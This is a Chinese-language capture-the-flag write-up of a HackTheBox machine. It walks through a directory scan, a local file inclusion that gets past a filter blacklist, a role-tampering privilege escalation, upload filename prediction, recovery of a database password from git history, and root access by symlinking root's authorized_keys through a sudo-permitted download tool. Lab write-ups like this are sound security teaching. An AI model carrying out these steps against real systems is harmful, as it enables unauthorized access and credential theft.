信息收集
发现目标主机开放了ssh和web服务
访问web页面时,发现是个表单登录页面
尝试一下是否存在弱口令,虽然hackthebox不太可能,但是还得走这流程。很显然,弱口令是不存在的
然后我们扫一下目录吧,看看有什么新发现,发现存在一个images目录和image.php文件
ffuf -u http://10.10.11.135/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -e .php -fc 403
访问image.php文件时,发现是个空内容啥也没有。访问image目录时,显示403
感觉可以再进行进一步的fuzz,发现存在一个uploads目录,但是无法访问
那我们可以尝试fuzz一下image.php的一些参数值,fuzz出很多的值,但是访问基本也是空。初步判断可能参数错了
那我们再换另一个参数试试
这边是可以读取到一个字符串的
依照内容提示,我们应该是遇到WAF了。那接下来我们就得绕过这个WAF,读取我们想要读取到的内容
漏洞利用
通过参考github上面大佬的总结,我们可以使用php数据流读取的形式进行读取文件的相应内容,这是参考链接https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter
我们对字符串进行base64解密,得到的内容如下。表示可以成功读取到文件内容
我们读取到image.php的内容如下,存在黑名单过滤
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
我们读取到upload.php内容如下
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
可以看到存在一个admin_auth_check.php
文件,我们尝试读取一下其内容
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
很明显,根据代码的逻辑,我们要想使用上传功能,就必须拥有role1的权限,想到这里可能是要越权操作。我们很幸运可以使用aaron:aaron
的账户密码登录成功。我们获取到的是一个user2的权限
然后我们进行进一步的越权操作,我们点击Edit profile
,然后抓包分析,放包时发现似乎并没有role的权限
那我们可以自己添加一个role权限值,然后放包刷新,发现role值发生了改变
刷新页面后,发现存在一个上传点
接着我们先把时间改为GMT,命令为
cp /usr/share/zoneinfo/GMT /etc/localtime
然后我们上传图片马后,先抓个包,然后再输入php -a
,输入的命令如下,主要是循环一个变量,先打印时间,然后打印文件的md5值,最后换行和休眠一秒
while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .time());echo "\n";sleep(1);}
执行这个命令后我们立刻放包,然后停止循环,逐个尝试后,最后得出可以得到用户的用户名
那么我们可以依照这个方法,获取我们的shell终端。因为这台机器有防火墙,所以我们得先看看/opt
目录下都有哪些文件,只有一个源码zip文件
我们可以先把它复制到/var/www/html/images/uploads/
这个目录上
然后我们使用curl命令进行下载
curl 'http://10.10.11.135/image.php?img=images/uploads/source-files-backup.zip' --output source-files-backup.zip
然后我们解压看看里面都存在哪些内容
解压后我们发现存在一个.git
目录
我们使用GitTools
的extractor.sh
脚本看看都存在哪些内容。进入source文件夹内,发现多了两个目录
./extractor.sh . source
我们使用diff
命令发现存在数据库密码
diff 0-e4e214696159a25c69812571c8214d2bf8736a3f 1-16de2698b5b122c93461298eab730d00273bd83e
我们分别使用这两个密码尝试登录,发现S3cr3t_unGu3ss4bl3_p422w0Rd
这个密码可以成功登陆aaron账户
提权
输入sudo -l
后发现一个程序netutils
可以无密码以root权限运行
发现直接运行并不能成功,查看一下文件类型,发现是一个脚本文件,类型为jar文件。并且运行时提示了两个选项,一个是FTP,另一个是HTTP
我们在本地开启一个HTTP服务,并尝试能否成功下载,发现可以成功下载我物理机的文件
并且权限还是root权限,那这就好办了
首先我们对root账户下的.ssh文件创建一个链接
ln -s /root/.ssh/authorized_keys keys
然后我们本地生成一个ssh密钥,并将其改名为keys(这一步一定要做,不改名无法连接密钥)
然后开放http服务,运行netutils
程序,选择HTTP选项,将公钥下载到靶机上
最后在物理机上连接root用户